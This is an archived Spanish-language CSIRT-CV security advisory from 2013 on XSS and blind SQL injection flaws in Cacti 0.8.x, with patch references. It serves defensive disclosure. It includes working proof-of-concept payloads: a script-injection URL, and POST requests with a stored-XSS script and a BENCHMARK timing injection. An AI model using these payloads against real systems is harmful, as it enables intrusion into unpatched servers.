CSIRTCV

Está usted visitando una publicación en la hemeroteca de CSIRT-CV.
Para acceder al portal y contenido actual, visite https://www.csirtcv.gva.es

03/09/2013

Múltiples vulnerabilidades en Cacti

Se han corregido múltiples fallos de seguridad en la última versión de Cacti (0.8.8b). Los errores se corresponden con una falta de filtrado adecuado en los parámetros de entrada que podrían permitir a un atacante inyectar código Javascript y SQL.

Riesgo: Alto

Cacti es un software especialmente diseñado para crear gráficas de monitorización mediante los datos obtenidos por diferentes herramientas que emplean el estándar RRDtool. Es uno de los sistemas de creación de gráficas más empleado en el mundo de la administración de sistemas y puede encontrarse como parte fundamental de otros programas.

Los errores se detallan a continuación:

El parámetro "step" de la página "/install/index.php" sería vulnerable a XSS reflejado.

Ejemplo:
http://<IP>/cacti/install/index.php?x=52&y=21&step="><script>alert(12345)</script>

En este caso el parámetro "id" de la página "/cacti/host.php" sería vulnerable a XSS persistente. La siguiente petición POST sirve como prueba de concepto:

POST /cacti/host.php HTTP/1.1
Host: <IP>
Cookie: Cacti=blahblahblah
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

id=<script>alert(12345)</script>&save_component_host=1&action=save


Una vez hecha la petición anterior, accedemos a

http://<IP>/cacti/utilities.php?tail_lines=500&message_type=-1&go=Go&refresh=60&reverse=1&filter=12345&page=1&action=view_logfile

y podremos ver la ventana emergente que demuestra el XSS.

El parámetro "id" de la página "/install/index.php" además sería vulnerable a una inyección sql ciega , esto se debe a que no se filtra correctamente este parámetro cuando se le pasa a la función api_device_save() del script lib/api_device.php. Sirva como POC la siguiente petición:

POST /cacti/host.php HTTP/1.1
Host: <IP>
Cookie: Cacti=blahblahblah
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

id=-1 AND BENCHMARK(1000000,MD5(1))&save_component_host=1&action=save

 

Sistemas Afectados:

Cacti 0.8.x

Referencias:

CVE-2013-5588, CVE-2013-5589

Solución:

Se han publicado parches que solucionan dichos errores y que se encuentran disponibles a través del repositorio svn de cacti, concretamente las revisiones r7420 y r7421.

Notas:

Multiple vulnerabilities in Cacti 0.8.8b and lower
http://bugs.cacti.net/view.php?id=2383

Bug #0002383 : Sanitize the step and id variables
http://svn.cacti.net/viewvc?view=rev&revision=7420
Bug #0002383 : Sanitize the step and id variables same as R#7420 for 089
http://svn.cacti.net/viewvc?view=rev&revision=7421

 

Fuente: Hispasec una-al-día

CSIRT-CV